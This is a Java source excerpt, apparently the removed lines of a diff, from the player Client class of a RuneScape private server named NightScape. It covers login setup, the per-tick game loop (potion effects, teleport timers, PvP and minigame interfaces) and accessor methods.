- UUID = RS2LoginProtocol.UUID;
- //handleWelcomeInterface(this); //Above...
- getPA().sendFrame126("DDS + Whip", 669);
- writeStreamByte();
- PvPHandler.handleLogin(this);
- Server.lottery.checkUnclaimedWinners(this);
- // PlayersOnline.createCon();
- // PlayersOnline.online(this);
- //isIronMan = false;
- if (!playerName.equalsIgnoreCase("tyler")) { //I log in and out too much to have this message.
- if (playerRights == 1) {
- for (int j = 0; j < PlayerHandler.players.length; j++) {
- if (PlayerHandler.players[j] != null) {
- Client c2 = (Client) PlayerHandler.players[j];
- c2.sendMessage("[@blu@Moderator@bla@] @cr1@@bla@ "
- + Misc.ucFirst(playerName) + " @blu@has logged in.");
- }
- }
- } else if(playerRights == 2) {
- for (int j = 0; j < Server.playerHandler.players.length; j++) {
- if (Server.playerHandler.players[j] != null) {
- Client c2 = (Client)Server.playerHandler.players[j];
- c2.sendMessage("@yel@[Admin] @cr2@@whi@" +playerName+ "@bla@ has just logged in!");
- }
- }
- } else if(playerRights == 3) {
- for (int j = 0; j < Server.playerHandler.players.length; j++) {
- if (Server.playerHandler.players[j] != null) {
- Client c2 = (Client)Server.playerHandler.players[j];
- c2.sendMessage("@red@[Owner] @cr2@@dre@" +playerName+ "@dre@ has just logged in.");
- }
- }
- } else if(playerRights == 5) {
- for (int j = 0; j < Server.playerHandler.players.length; j++) {
- if (Server.playerHandler.players[j] != null) {
- Client c2 = (Client)Server.playerHandler.players[j];
- c2.sendMessage("@blu@[Extreme Donator] @cr4@@bla@" +playerName+ " has just logged in.");
- }
- }
- } else if(playerRights == 7) {
- for (int j = 0; j < Server.playerHandler.players.length; j++) {
- if (Server.playerHandler.players[j] != null) {
- Client c2 = (Client)Server.playerHandler.players[j];
- c2.sendMessage("@blu@[Staff] @cr6@@whi@" +playerName+ "@blu@ has just logged in.");
- }
- }
- } else if(playerRights == 8) {
- for (int j = 0; j < Server.playerHandler.players.length; j++) {
- if (Server.playerHandler.players[j] != null) {
- Client c2 = (Client)Server.playerHandler.players[j];
- c2.sendMessage("@pur@[Legendary Donator] @cr7@@pur@" +playerName+ "@bla@ has just logged in.");
- }
- }
- }
- }
- getPA().loadQuests();
- getPA().loadQuest2();
- getPA().sendFrame127(runEnergy + "%", 149);
- isFullHelm = Item.isFullHelm(playerEquipment[playerHat]);
- isFullMask = Item.isFullMask(playerEquipment[playerHat]);
- isFullBody = Item.isFullBody(playerEquipment[playerChest]);
- getPA().sendFrame36(173, isRunning2 ? 1 : 0);
- sendMessage("@bla@[@blu@Attention@bla@]:@red@Thanks for playing NightScape!");
- sendMessage("There are currently @red@"+ PlayerHandler.getPlayerCount() + " @bla@players online.");
- /**if (expLock == true) {
- sendMessage("Your experience is now locked. You will not gain experience.");
- } else {
- sendMessage("Your experience is now unlocked. You will gain experience.");
- }**/
- if (Config.SERVER_EXP_BONUS == 2) {
- sendMessage("@bla@[@blu@Attention@bla@]:@red@ Double experience is active.");
- }
- calcCombat();
- Pet.ownerLoggedIn(this);
- /*
- * if (playerRights != 3 || playerRights != 2) { Highscores.process(); }
- */
- outStream.createFrame(249);
- outStream.writeByteA(1); // 1 for members, zero for free
- outStream.writeWordBigEndianA(playerId);
- for (int j = 0; j < PlayerHandler.players.length; j++) {
- if (j == playerId)
- continue;
- if (PlayerHandler.players[j] != null) {
- if (PlayerHandler.players[j].playerName
- .equalsIgnoreCase(playerName))
- disconnected = true;
- }
- }
- // Connection.addIpToLoginList(this.getConnectedFrom());
- for (int i = 0; i < 25; i++) {
- getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
- getPA().refreshSkill(i);
- getPA().refreshSkill(21);
- getPA().refreshSkill(22);
- }
- for (int p = 0; p < PRAYER.length; p++) { // reset prayer glows
- prayerActive[p] = false;
- getPA().sendFrame36(PRAYER_GLOW[p], 0);
- }
- getPA().handleWeaponStyle();
- getPA().handleLoginText();
- accountFlagged = getPA().checkForFlags();
- getPA().sendFrame36(108, 0);// resets autocast button
- getPA().sendFrame36(172, 1);
- getPA().sendFrame107(); // reset screen
- getPA().setChatOptions(0, 0, 0); // reset private messaging options
- setSidebarInterface(1, 3917);
- // setSidebarInterface(1, 31110);
- setSidebarInterface(2, 638);
- setSidebarInterface(3, 3213);
- setSidebarInterface(4, 1644);
- setSidebarInterface(5, 5608);
- if (playerMagicBook == 0) {
- setSidebarInterface(6, 1151); // modern
- }
- if (playerMagicBook == 1) {
- setSidebarInterface(6, 12855); // ancient
- }
- if (playerMagicBook == 2) {
- setSidebarInterface(6, 29999); // ancient
- }
- if (splitChat == false) {
- getPA().sendFrame36(502, 0);
- getPA().sendFrame36(287, 0);
- }
- if (splitChat == true) {
- getPA().sendFrame36(502, 1);
- getPA().sendFrame36(287, 1);
- }
- correctCoordinates();
- setSidebarInterface(7, 18128);
- setSidebarInterface(8, 5065);
- setSidebarInterface(9, 5715);
- setSidebarInterface(10, 2449);
- // setSidebarInterface(7, 19017);
- setSidebarInterface(11, 904); // wrench tab
- setSidebarInterface(12, 147); // run tab
- setSidebarInterface(13, 6299);
- setSidebarInterface(0, 2423);
- setSidebarInterface(15, 2449);
- setSidebarInterface(16, 3213);
- if (lastsummon > 0) {
- Summoning().SummonNewNPC(lastsummon);
- }
- getPA().showOption(4, 0, "Follow", 4);
- pvpTeleTimer = 0;
- getPA().showOption(5, 0, "Trade with", 3);
- getItems().resetItems(3214);
- getItems().sendWeapon(playerEquipment[playerWeapon],
- getItems().getItemName(playerEquipment[playerWeapon]));
- getItems().resetBonus();
- getItems().getBonus();
- getItems().writeBonus();
- getItems().setEquipment(playerEquipment[playerHat], 1, playerHat);
- getItems().setEquipment(playerEquipment[playerCape], 1, playerCape);
- getItems().setEquipment(playerEquipment[playerAmulet], 1, playerAmulet);
- getItems().setEquipment(playerEquipment[playerArrows],
- playerEquipmentN[playerArrows], playerArrows);
- getItems().setEquipment(playerEquipment[playerChest], 1, playerChest);
- getItems().setEquipment(playerEquipment[playerShield], 1, playerShield);
- getItems().setEquipment(playerEquipment[playerLegs], 1, playerLegs);
- getItems().setEquipment(playerEquipment[playerHands], 1, playerHands);
- getItems().setEquipment(playerEquipment[playerFeet], 1, playerFeet);
- getItems().setEquipment(playerEquipment[playerRing], 1, playerRing);
- getItems().setEquipment(playerEquipment[playerWeapon],
- playerEquipmentN[playerWeapon], playerWeapon);
- getCombat().getPlayerAnimIndex(
- getItems().getItemName(playerEquipment[playerWeapon])
- .toLowerCase());
- getPA().logIntoPM();
- getItems().addSpecialBar(playerEquipment[playerWeapon]);
- saveTimer = Config.SAVE_TIMER;
- saveCharacter = true;
- Misc.println("[Logged in]: " + playerName + "");
- handler.updatePlayer(this, outStream);
- handler.updateNPC(this, outStream);
- flushOutStream();
- getPA().resetFollow();
- getPA().clearClanChat();
- getPA().resetFollow();
- getPA().setClanData();
- Connection.appendStarters();
- Connection.appendStarters2();
- //DonationSystem.addDonateItems(this,playerName);
- if (addStarter)
- getPA().addStarter();
- if(playerRights != 9) {
- this.joinHelpCC();
- } else if(isPvpMode) {
- this.joinPvpHelpCC();
- }
- if (hasNpc == true) {
- if (summonId == 4000) {
- getItems().addItem(12653, 1);
- }
- if (summonId == 4003) {
- getItems().addItem(12694, 1);
- }
- if (summonId == 4001) {
- getItems().addItem(12650, 1);
- }
- if (summonId == 4005) {
- getItems().addItem(12649, 1);
- }
- if (summonId == 4006) {
- getItems().addItem(12652, 1);
- }
- if (summonId == 4007) {
- getItems().addItem(12651, 1);
- }
- if (summonId == 4008) {
- getItems().addItem(12643, 1);
- }
- if (summonId == 4009) {
- getItems().addItem(12644, 1);
- }
- if (summonId == 4010) {
- getItems().addItem(12645, 1);
- }
- if (summonId == 4011) {
- getItems().addItem(15568, 1);
- }
- if (summonId == 4012) {
- getItems().addItem(15566, 1);
- }
- if (summonId == 4016) {
- getItems().addItem(15570, 1);
- }
- if (summonId == 4014) {
- getItems().addItem(15562, 1);
- }
- if (summonId == 4015) {
- getItems().addItem(15560, 1);
- }
- if (summonId == 4013) {
- getItems().addItem(15564, 1);
- }
- if (summonId == 6305) {
- getItems().addItem(12655, 1);
- }
- // Server.npcHandler.spawnNpc3(this, summonId, absX, absY-1,
- // heightLevel, 0, 120, 25, 200, 200, true, false, true);
- summonId = 0;
- hasNpc = false;
- this.sendMessage("Your pet has been added to your inventory.");
- }
- if (autoRet == 1)
- getPA().sendFrame36(172, 1);
- else
- getPA().sendFrame36(172, 0);
- }
- public void RefreshAllSkills() {
- for (int i = 0; i < 25; i++) {
- getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
- getPA().refreshSkill(i);
- }
- }
- @Override
- public void update() {
- handler.updatePlayer(this, outStream);
- handler.updateNPC(this, outStream);
- flushOutStream();
- }
- public void wildyWarning() {
- getPA().showInterface(1908);
- }
- public void logout() {
- if (this.clan != null) {
- this.clan.removeMember(this);
- }
- PvPHandler.handleLogout(this);
- // PlayersOnline.createCon();
- // PlayersOnline.online(this);
- /*
- * if (playerRights != 2) { Highscores.save(this); }
- */
- /*
- * if (lastsummon > 0) { for (int i = 0; i < Server.npcHandler.maxNPCs;
- * i++) { if (Server.npcHandler.npcs[i] != null) { if
- * (Server.npcHandler.npcs[i].summon == true) { if
- * (Server.npcHandler.npcs[i].spawnedBy == getId()) {
- * Server.npcHandler.npcs[i].isDead = true;
- * Server.npcHandler.npcs[i].applyDead = true;
- * Server.npcHandler.npcs[i].summon = false; } } } } }
- */
- Connection.removeIpFromLoginList(this.getConnectedFrom());
- if (duelStatus >= 1 && duelStatus <= 5) {
- sendMessage("You cannot logout during a duel.");
- //getTradeAndDuel().bothDeclineDuel();
- saveCharacter = true;
- return;
- }
- if (underAttackBy > 0 || underAttackBy2 > 0)
- return;
- // synchronized (this) {
- if (System.currentTimeMillis() - logoutDelay > 10000) {
- outStream.createFrame(109);
- CycleEventHandler.getSingleton().stopEvents(this);
- properLogout = true;
- ConnectedFrom.addConnectedFrom(this, connectedFrom);
- } else {
- sendMessage("You must wait a few seconds from being out of combat to logout.");
- }
- }
- public int packetSize = 0, packetType = -1;
- @Override
- public void process() {
- getPA().sendFrame126("Players Online: " + PlayerHandler.getPlayerCount(), 29155);
- /*
- * if (inWild() && WildernessWarning == false) { resetWalkingQueue();
- * getPA().resetFollow(); wildyWarning(); WildernessWarning = true; }
- */
- if (clawDelay > 0) {
- clawDelay--;
- }if (superCombat > 0) {
- if (superCombat == 150) {
- getPA().refreshSkill(3);
- sendMessage("@red@The effects caused by your super combat potion are almost gone!");
- }
- if (superCombat == 600 || superCombat == 597 || superCombat == 595 || superCombat == 593 || superCombat == 591 || superCombat == 570 || superCombat == 540 || superCombat == 510 || superCombat == 480 || superCombat == 450 || superCombat == 420 || superCombat == 390 || superCombat == 360 || superCombat == 330 || superCombat == 300 || superCombat == 270 || superCombat == 240 || superCombat == 210 || superCombat == 180 || superCombat == 150 || superCombat == 120 || superCombat == 90 || superCombat == 60 || superCombat == 30) {
- superCombat();
- getPA().refreshSkill(3);
- }
- superCombat--;
- if (superCombat == 0) {
- sendMessage("Your super combat potion has worn off.");
- //playerLevel[3] += 50;
- if (playerLevel[3] > playerLevel[playerHitpoints]) {
- playerLevel[3] = playerLevel[playerHitpoints];
- }
- getPA().refreshSkill(3);
- playerLevel[0] = getLevelForXP(playerXP[0]);
- playerLevel[1] = getLevelForXP(playerXP[1]);
- playerLevel[2] = getLevelForXP(playerXP[2]);
- playerLevel[4] = getLevelForXP(playerXP[4]);
- playerLevel[6] = getLevelForXP(playerXP[6]);
- superCombat = 0;
- for (int i = 0; i <= 6 && i != 5; i++) {
- getPA().refreshSkill(i);
- }
- }
- }
- if (overload > 0) {
- if (overload == 600 || overload == 597 || overload == 595 || overload == 593 || overload == 591) {
- overloadHit();
- getPA().refreshSkill(3);
- }
- if (overload == 570 || overload == 540 || overload == 510 || overload == 480 || overload == 450 || overload == 420 || overload == 390 || overload == 360 || overload == 330 || overload == 300 || overload == 270 || overload == 240 || overload == 210 || overload == 180 || overload == 150 || overload == 120 || overload == 90 || overload == 60 || overload == 30) {
- overload();
- getPA().refreshSkill(3);
- }
- overload--;
- if (overload == 0 || inWild()) {
- sendMessage("The effects of the overload potion have worn off...");
- //playerLevel[3] += 50;
- if (playerLevel[3] > playerLevel[playerHitpoints]) {
- playerLevel[3] = playerLevel[playerHitpoints];
- }
- getPA().refreshSkill(3);
- playerLevel[0] = getLevelForXP(playerXP[0]);
- playerLevel[1] = getLevelForXP(playerXP[1]);
- playerLevel[2] = getLevelForXP(playerXP[2]);
- playerLevel[4] = getLevelForXP(playerXP[4]);
- playerLevel[6] = getLevelForXP(playerXP[6]);
- overload = 0;
- for (int i = 0; i <= 6 && i != 5; i++) {
- getPA().refreshSkill(i);
- }
- }
- }
- if (clawDelay == 1) {
- delayedDamage = (clawDamage / 4);
- delayedDamage2 = (clawDamage / 4) + 1;
- if (clawType == 2) {
- getCombat().applyNpcMeleeDamage(clawIndex, 1, clawDamage / 4);
- }
- if (clawType == 1) {
- getCombat()
- .applyPlayerMeleeDamage(clawIndex, 1, clawDamage / 4);
- }
- if (clawType == 2) {
- getCombat().applyNpcMeleeDamage(clawIndex, 2,
- (clawDamage / 4) + 1);
- }
- if (clawType == 1) {
- getCombat().applyPlayerMeleeDamage(clawIndex, 2,
- (clawDamage / 4) + 1);
- }
- clawDelay = 0;
- specEffect = 0;
- previousDamage = 0;
- usingClaws = false;
- clawType = 0;
- }
- if (runEnergy < 100) {
- if (System.currentTimeMillis() > getPA().getAgilityRunRestore(this)
- + lastRunRecovery) {
- runEnergy++;
- lastRunRecovery = System.currentTimeMillis();
- getPA().sendFrame126(runEnergy + "%", 149);
- }
- }
- if (walkingToItem) {
- if (getX() == pItemX && getY() == pItemY
- || goodDistance(getX(), getY(), pItemX, pItemY, 1)) {
- walkingToItem = false;
- Server.itemHandler.removeGroundItem(this, pItemId, pItemX,
- pItemY, true);
- }
- }
- if (System.currentTimeMillis() - restoreStatsDelay > (zerkOn ? 90000
- : 60000)) {
- restoreStatsDelay = System.currentTimeMillis();
- for (int level = 0; level < playerLevel.length; level++) {
- if (playerLevel[level] < getLevelForXP(playerXP[level])) {
- if (level != 5) { // prayer doesn't restore
- playerLevel[level] += 1;
- getPA().setSkillLevel(level, playerLevel[level],
- playerXP[level]);
- getPA().refreshSkill(level);
- }
- } else if (playerLevel[level] > getLevelForXP(playerXP[level])
- && level != 3) {
- playerLevel[level] -= 1;
- getPA().setSkillLevel(level, playerLevel[level],
- playerXP[level]);
- getPA().refreshSkill(level);
- }
- }
- getPotSmoking().processMunnchies();
- }
- if (System.currentTimeMillis() - duelDelay > 1000 && duelCount > 0) {
- if (duelCount != 1) {
- forcedChat("" + (--duelCount));
- duelDelay = System.currentTimeMillis();
- } else {
- damageTaken = new int[Config.MAX_PLAYERS];
- forcedChat("FIGHT!");
- duelCount = 0;
- }
- }
- if (System.currentTimeMillis() - specDelay > Config.INCREASE_SPECIAL_AMOUNT) {
- specDelay = System.currentTimeMillis();
- if (specAmount < 10) {
- specAmount += 1;
- if (specAmount > 10)
- specAmount = 10;
- getItems().addSpecialBar(playerEquipment[playerWeapon]);
- }
- }
- /*if (isPvpMode) {
- if (!inPvP()) {
- pvpTeleTimer = 7;
- }
- }*/
- if (yellTimer > 0) {
- yellTimer--;
- }
- if(pvpnewtimer > 0) {
- pvpnewtimer--;
- if (pvpnewtimer == 0 && isPvpMode) {
- sendMessage("@red@[ALERT]: @gre@You can now be attacked by other PvP mode Players!");
- pvpnewtimer = 0;
- }
- }
- //if (summonSpec > 0) {
- //summonSpec--;
- //}
- if (followId > 0) {
- getPA().followPlayer();
- } else if (followId2 > 0) {
- getPA().followNpc();
- }
- getCombat().handlePrayerDrain();
- if (System.currentTimeMillis() - singleCombatDelay > 3300) {
- underAttackBy = 0;
- }
- if (System.currentTimeMillis() - singleCombatDelay2 > 3300) {
- underAttackBy2 = 0;
- }
- if (isPvpMode && !inSafeArea() && !inPcBoat() && !inPcGame()) {
- //PvPHandler.handleInterfaces(this);
- getPA().walkableInterface(197);
- int modY = absY > 6400 ? absY - 6400 : absY;
- areaLevel = "3-126";
- if (Config.SINGLE_AND_MULTI_ZONES) {
- if (inMulti()) {
- getPA().sendFrame126("@red@" + areaLevel, 199);
- } else {
- getPA().sendFrame126("@red@" + areaLevel, 199);
- }
- } else {
- getPA().multiWay(-1);
- getPA().sendFrame126("@red@Level: " + areaLevel, 199);
- }
- getPA().showOption(3, 0, "Attack", 1);
- } else if (isPvpMode && inSafeArea()) {
- //PvPHandler.handleInterfaces(this);
- getPA().walkableInterface(197);
- int modY = absY > 6400 ? absY - 6400 : absY;
- areaLevel = "SAFE";
- if (Config.SINGLE_AND_MULTI_ZONES) {
- if (inMulti()) {
- getPA().sendFrame126("@gre@" + areaLevel, 199);
- } else {
- getPA().sendFrame126("@gre@" + areaLevel, 199);
- }
- } else {
- getPA().multiWay(-1);
- getPA().sendFrame126("@gre@" + areaLevel, 199);
- }
- getPA().showOption(3, 0, "null", 1); //Removes attack option in safe zone - Tyler @ Ryan
- } else if (inWild()) {
- PvPHandler.handleInterfaces(this);
- // getPA().walkableInterface(197);
- int modY = absY > 6400 ? absY - 6400 : absY;
- wildLevel = (((modY - 3520) / 8) + 1);
- if (Config.SINGLE_AND_MULTI_ZONES) {
- if (inMulti()) {
- getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
- } else {
- getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
- }
- } else {
- getPA().multiWay(-1);
- getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
- }
- getPA().showOption(3, 0, "Attack", 1);
- } else if (inMithWild()) {
- int modY = absY > 6400 ? absY - 6400 : absY;
- wildMithLevel = 30;
- getPA().walkableInterface(197);
- getPA().multiWay(-1);
- getPA().sendFrame126("@yel@Level: " + wildMithLevel, 199);
- getPA().showOption(3, 0, "Attack", 1);
- } else if (this.isInBarrows()) {
- this.getPA().sendFrame126("Kill Count: " + this.barrowsKillCount,
- 4536);
- this.getPA().walkableInterface(4535);
- this.getPA().showOption(3, 0, "null", 1);
- this.getPA().showOption(2, 0, "null", 1);
- } else if (inPcBoat()) {
- getPA().sendFrame126(
- "Next Departure: " + PestControl.waitTimer + "", 21120);
- getPA().sendFrame126(
- "Players Ready: " + PestControl.playersInBoat() + "", 21121);
- getPA().sendFrame126("(Need 3 to 25 players)", 21122);
- getPA().sendFrame126("Pest Points: " + pcPoints + "", 21123);
- getPA().walkableInterface(21119);
- } else if (inPcGame()) {
- for (j = 0; j < NPCHandler.npcs.length; j++) {
- if (NPCHandler.npcs[j] != null) {
- if (NPCHandler.npcs[j].npcType == 6142) {
- if (NPCHandler.npcs[j].isDead) {
- getPA().sendFrame126("Dead", 21111);
- } else
- getPA().sendFrame126(
- "" + NPCHandler.npcs[j].HP + "", 21111);
- }
- if (NPCHandler.npcs[j].npcType == 6143) {
- if (NPCHandler.npcs[j].isDead) {
- getPA().sendFrame126("Dead", 21112);
- } else
- getPA().sendFrame126(
- "" + NPCHandler.npcs[j].HP + "", 21112);
- }
- if (NPCHandler.npcs[j].npcType == 6144) {
- if (NPCHandler.npcs[j].isDead) {
- getPA().sendFrame126("Dead", 21113);
- } else
- getPA().sendFrame126(
- "" + NPCHandler.npcs[j].HP + "", 21113);
- }
- if (NPCHandler.npcs[j].npcType == 6145) {
- if (NPCHandler.npcs[j].isDead) {
- getPA().sendFrame126("Dead", 21114);
- } else
- getPA().sendFrame126(
- "" + NPCHandler.npcs[j].HP + "", 21114);
- }
- }
- }
- getPA().sendFrame126("0", 21115);
- if (pcDamage < 50) {
- getPA().sendFrame126("@red@" + pcDamage + "", 21116);
- } else {
- getPA().sendFrame126("@gre@" + pcDamage + "", 21116);
- }
- getPA().sendFrame126(
- "Time remaining: " + PestControl.gameTimer + "", 21117);
- getPA().walkableInterface(21100);
- } else if (inZombieWait()) {
- getPA().sendFrame126("", 15894);
- getPA().sendFrame126(" @gre@Nightmare Zone", 15895);
- getPA().sendFrame126(
- ZombieWaves.waitTimer < 0 ? "Game In Progress"
- : "Next Departure: " + ZombieWaves.waitTimer, 15897);
- getPA().sendFrame126(
- "Players Ready: " + ZombieWaves.inZombieWaitCount(), 15898);
- getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
- getPA().sendFrame126("", 15896);
- getPA().sendFrame126("", 15900);
- getPA().sendFrame126("", 15901);
- getPA().sendFrame126("", 15902);
- getPA().sendFrame126("", 15903);
- getPA().sendFrame126("", 15904);
- getPA().sendFrame126("", 15905);
- getPA().sendFrame126("", 15906);
- getPA().walkableInterface(15892);
- } else if (inZombieGame()) {
- getPA().sendFrame126("", 15894);
- getPA().sendFrame126(" @gre@Nightmare Zone", 15895);
- getPA().sendFrame126("Wave Number " + ZombieWaves.zombieWaveId,
- 15897);
- getPA().sendFrame126("Bosses Left: " + ZombieWaves.zombieAmount,
- 15898);
- getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
- getPA().sendFrame126("", 15896);
- getPA().sendFrame126("", 15900);
- getPA().sendFrame126("", 15901);
- getPA().sendFrame126("", 15902);
- getPA().sendFrame126("", 15903);
- getPA().sendFrame126("", 15904);
- getPA().sendFrame126("", 15905);
- getPA().sendFrame126("", 15906);
- getPA().walkableInterface(15892);
- } else if (inDuelArena()) {
- getPA().walkableInterface(201);
- if (duelStatus == 5) {
- getPA().showOption(3, 0, "Attack", 1);
- } else {
- getPA().showOption(3, 0, "Challenge", 1);
- }
- } else if (inCwGame || inPits) {
- getPA().showOption(3, 0, "Attack", 1);
- } else if (getPA().inPitsWait()) {
- getPA().showOption(3, 0, "Null", 1);
- } else if (!inCwWait) {
- getPA().sendFrame99(0);
- getPA().walkableInterface(-1);
- getPA().showOption(3, 0, "Null", 1);
- } else if (inPits) {
- getPA().showOption(3, 0, "Attack", 1);
- } else if (getPA().inPitsWait()) {
- getPA().showOption(3, 0, "Null", 1);
- }
- if (!hasMultiSign && inMulti()) {
- hasMultiSign = true;
- getPA().multiWay(1);
- }
- if (hasMultiSign && !inMulti()) {
- hasMultiSign = false;
- getPA().multiWay(-1);
- }
- if (skullTimer > 0) {
- skullTimer--;
- if (skullTimer == 1) {
- isSkulled = false;
- attackedPlayers.clear();
- headIconPk = -1;
- skullTimer = -1;
- getPA().requestUpdates();
- }
- }
- if (isDead && respawnTimer == -6) {
- getPA().applyDead();
- }
- if (specRestore > 0) {
- specRestore--;
- }
- if (respawnTimer == 7) {
- respawnTimer = -6;
- getPA().giveLife();
- } else if (respawnTimer == 12) {
- respawnTimer--;
- startAnimation(0x900);
- poisonDamage = -1;
- }
- if (respawnTimer > -6) {
- respawnTimer--;
- }
- if (freezeTimer > -6) {
- freezeTimer--;
- if (frozenBy > 0) {
- if (PlayerHandler.players[frozenBy] == null) {
- freezeTimer = -1;
- frozenBy = -1;
- } else if (!goodDistance(absX, absY,
- PlayerHandler.players[frozenBy].absX,
- PlayerHandler.players[frozenBy].absY, 20)) {
- freezeTimer = -1;
- frozenBy = -1;
- }
- }
- }
- if (hitDelay > 0) {
- hitDelay--;
- }
- //RubberCheck(); //Rubber Chicken
- if (teleTimer > 0) {
- teleTimer--;
- if (isPvpMode) { //For pvp mode - 10 second Teleport delay
- if (!isDead) {
- if (teleTimer == 1 && newLocation > 0) { //Full teleport finishes here.
- teleTimer = 0;
- getPA().changeLocation();
- }
- if (teleTimer == 5) { //This is where it starts to read new map data for teleport
- teleTimer--;
- getPA().processTeleport();
- }
- if (teleTimer == 9 && teleGfx > 0 ) { //This is where the animations start
- teleTimer--;
- if (playerMagicBook == 1) { //Added all this here because of 10 second delay...
- startAnimation(1979);
- gfx0(392);
- } else {
- startAnimation(714);
- gfx100(teleGfx);
- }
- }
- if (teleTimer >= 9 && teleTimer <= (playerMagicBook == 1 ? 19 : 21)) { //This is a check for the "10" second wait timer
- if (underAttackBy > 0 || underAttackBy2 > 0) {
- sendMessage("Teleport has been canceled because you are in combat.");
- teleTimer = 0;
- return;
- }
- }
- if (teleTimer == (playerMagicBook == 1 ? 18 : 20)) { //Start of timer (when you click button)
- if (underAttackBy > 0 || underAttackBy2 > 0) {
- sendMessage("Teleport has been canceled because you are in combat.");
- teleTimer = 0;
- return;
- }
- teleTimer--;
- sendMessage("Teleporting in 10 seconds...");
- getDH().sendDialogues(570, 1);
- }
- } else {
- teleTimer = 0;
- }
- } else { //For regular teleports below
- if (!isDead) {
- if (teleTimer == 1 && newLocation > 0) {
- teleTimer = 0;
- getPA().changeLocation();
- }
- if (teleTimer == 5) {
- teleTimer--;
- getPA().processTeleport();
- }
- if (teleTimer == 9 && teleGfx > 0) {
- teleTimer--;
- gfx100(teleGfx);
- }
- } else {
- teleTimer = 0;
- }
- }
- }
- /*if (isPvpMode) {
- if (System.currentTimeMillis() - pvpTeleDelay > 7000) {
- CycleEventHandler.getSingleton().stopEvents(this);
- getPA().processTeleport();
- } else {
- sendMessage("You must be out of combat for 7 seconds before teleporting.");
- }
- }*/
- if (hitDelay == 1) {
- if (oldNpcIndex > 0) {
- getCombat().delayedHit(this, oldNpcIndex);
- }
- if (oldPlayerIndex > 0) {
- getCombat().playerDelayedHit(this, oldPlayerIndex);
- }
- }
- if (attackTimer > 0) {
- attackTimer--;
- }
- if (attackTimer == 1) {
- if (npcIndex > 0 && clickNpcType == 0) {
- getCombat().attackNpc(npcIndex);
- }
- if (playerIndex > 0) {
- getCombat().attackPlayer(playerIndex);
- }
- } else if (attackTimer <= 0 && (npcIndex > 0 || playerIndex > 0)) {
- if (npcIndex > 0) {
- attackTimer = 0;
- getCombat().attackNpc(npcIndex);
- } else if (playerIndex > 0) {
- attackTimer = 0;
- getCombat().attackPlayer(playerIndex);
- }
- }
- }
- public Map getStringMap() {
- return stringMap;
- }
- private String redOrGreen(boolean green) {
- return green ? "@gre@" : "@red@";
- }
- public void setCurrentTask(Future<?> task) {
- currentTask = task;
- }
- public Future<?> getCurrentTask() {
- return currentTask;
- }
- public synchronized Stream getInStream() {
- return inStream;
- }
- public synchronized int getPacketType() {
- return packetType;
- }
- public synchronized int getPacketSize() {
- return packetSize;
- }
- public synchronized Stream getOutStream() {
- return outStream;
- }
- public ItemAssistant getItems() {
- return itemAssistant;
- }
- public PlayerAssistant getPA() {
- return playerAssistant;
- }
- public PMLog PMLog() {
- return PMLog;
- }
- public Alching Alching() {
- return Alching;
- }
- public ClickItem ClickItem() {
- return ClickItem;
- }
- public Shopping Shopping() {
- return Shopping;
- }
- public PickupItem PickupItem() {
- return PickupItem;
- }
- public DroppingItem DroppingItem() {
- return DroppingItem;
- }
- public PvPLog PvPLog() {
- return PvPLog;
- }
- public CommandsLog CommandsLog() {
- return CommandsLog;
- }
- public StakingLog StakingLog() {
- return StakingLog;
- }
- public DialogueHandler getDH() {
- return dialogueHandler;
- }
- public ShopAssistant getShops() {
- return shopAssistant;
- }
- public TradeAndDuel getTradeAndDuel() {
- return tradeAndDuel;
- }
- public CombatAssistant getCombat() {
- return combatAssistant;
- }
- public ActionHandler getActions() {
- return actionHandler;
- }
- public KillsStreak getStreak() {
- return killsStreak;
- }
- public PlayerKilling getKill() {
- return playerKilling;
- }
- public Channel getSession() {
- return session;
- }
- public Achievement getAchievement() {
- return achievement;
- }
- public TradeLog getTradeLog() {
- return tradeLog;
- }
- public Bank getBank() {
- return bank;
- }
- public Potions getPotions() {
- return potions;
- }
- public PotionMixing getPotMixing() {
- return potionMixing;
- }
- public Food getFood() {
- return food;
- }
- public boolean ardiRizal() {
- if ((playerEquipment[playerHat] == -1)
- && (playerEquipment[playerCape] == -1)
- && (playerEquipment[playerAmulet] == -1)
- && (playerEquipment[playerChest] == -1)
- && (playerEquipment[playerShield] == -1)
- && (playerEquipment[playerLegs] == -1)
- && (playerEquipment[playerHands] == -1)
- && (playerEquipment[playerFeet] == -1)
- && (playerEquipment[playerWeapon] == -1)) {
- return true;
- } else {
- return false;
- }
- }
- private boolean isBusy = false;
- private boolean isBusyHP = false;
- public boolean isBusyFollow = false;
- public boolean checkBusy() {
- /*
- * if (getCombat().isFighting()) { return true; }
- */
- if (isBusy) {
- // actionAssistant.sendMessage("You are too busy to do that.");
- }
- return isBusy;
- }
- public boolean checkBusyHP() {
- return isBusyHP;
- }
- public boolean checkBusyFollow() {
- return isBusyFollow;
- }
- public void setBusy(boolean isBusy) {
- this.isBusy = isBusy;
- }
- public boolean isBusy() {
- return isBusy;
- }
- public void setBusyFollow(boolean isBusyFollow) {
- this.isBusyFollow = isBusyFollow;
- }
- public void setBusyHP(boolean isBusyHP) {
- this.isBusyHP = isBusyHP;
- }
- public boolean isBusyHP() {
- return isBusyHP;
- }
- public boolean isBusyFollow() {
- return isBusyFollow;
- }
- public boolean canWalk = true;
- public boolean hasChosenIronMan;
- public boolean isChosing;
- public boolean canWalk() {
- return canWalk;
- }
- public void setCanWalk(boolean canWalk) {
- this.canWalk = canWalk;
- }
- public PlayerAssistant getPlayerAssistant() {
- return playerAssistant;
- }
- public SkillInterfaces getSI() {
- return skillInterfaces;
- }
- public Zulrah getZulrah() {
- return zulrah;
- }
- /**
- * Skill Constructors
- */
- public Slayer getSlayer() {
- return slayer;
- }
- public Hunter getHunter() {
- return hunter;
- }
- public Summoning Summoning() {
- return Summoning;
- }
- public Woodcutting getWoodcutting() {
- return woodcutting;
- }
- public Mining getMining() {
- return mine;
- }
- public Runecrafting getRunecrafting() {
- return runecrafting;
- }
- public BankPin getBankPin() {
- return bankPin;
- }
- public PotSmoking getPotSmoking() {
- return potSmoking;
- }
- public Cooking getCooking() {
- return cooking;
- }
- public Agility getAgility() {
- return agility;
- }
- public Crafting getCrafting() {
- return crafting;
- }
- public Farming getFarming() {
- return farming;
- }
- public Thieving getThieving() {
- return thieving;
- }
